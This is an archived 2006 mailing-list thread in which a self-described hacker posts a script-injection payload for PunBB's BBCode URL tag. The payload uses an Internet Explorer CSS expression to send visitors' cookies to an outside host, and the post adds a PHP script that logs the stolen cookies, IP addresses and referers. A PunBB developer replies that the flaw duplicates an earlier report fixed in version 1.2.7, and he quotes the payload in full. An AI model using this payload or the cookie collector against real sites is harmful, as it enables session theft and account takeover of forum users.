PDA

Bekijk Volledige Versie : PunBB BBCode URL Tag Script Injection Vulnerability



night_warrior771@hotmail.com
17/01/06, 13:00
##Night_Warrior<Kurdish Hacker>
##night_warrior771[at]hotmail.com
##PunBB BBCode URL Tag Script Injection Vulnerability
##Contact :night_warrior771[at]hotmail.com

Vulnerable:

[color=#EFEFEF]www.ut (www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://nigwar.tollfreepage.com/cookies.php?c='+document.cookie;this.sss=null`styl e='font-size:0;)'[/col
or]

<?php
cookies.php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?>

Contact :night_warrior771[at]hotmail.com
Night_Warrior

Rickard Andersson
18/01/06, 22:00
This is a duplicate of http://www.securityfocus.com/bid/14808/info which
was dealt with in PunBB 1.2.7 (released september 2, 2005). It only
affected Internet Explorer users by the way. Why re-post it?

Rickard Andersson
PunBB dev


night_warrior771@hotmail.com wrote:
> ##Night_Warrior<Kurdish Hacker>
> ##night_warrior771[at]hotmail.com
> ##PunBB BBCode URL Tag Script Injection Vulnerability
> ##Contact :night_warrior771[at]hotmail.com
>
> Vulnerable:
>
> [color=#EFEFEF]www.ut (www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://nigwar.tollfreepage.com/cookies.php?c='+document.cookie;this.sss=null`styl e='font-size:0;)'[/c
olor]
>
> <?php
> cookies.php
> $cookie = $_GET['c'];
> $ip = getenv ('REMOTE_ADDR');
> $date=date("j F, Y, g:i a");
> $referer=getenv ('HTTP_REFERER');
> $fp = fopen('steal.php', 'a');
> fwrite($fp, '
> Cookie: '.$cookie.'
> IP: ' .$ip. '
> Date and Time: ' .$date. '
> Referer: '.$referer.' ');
> fclose($fp);
> ?>
>
> Contact :night_warrior771[at]hotmail.com
> Night_Warrior
>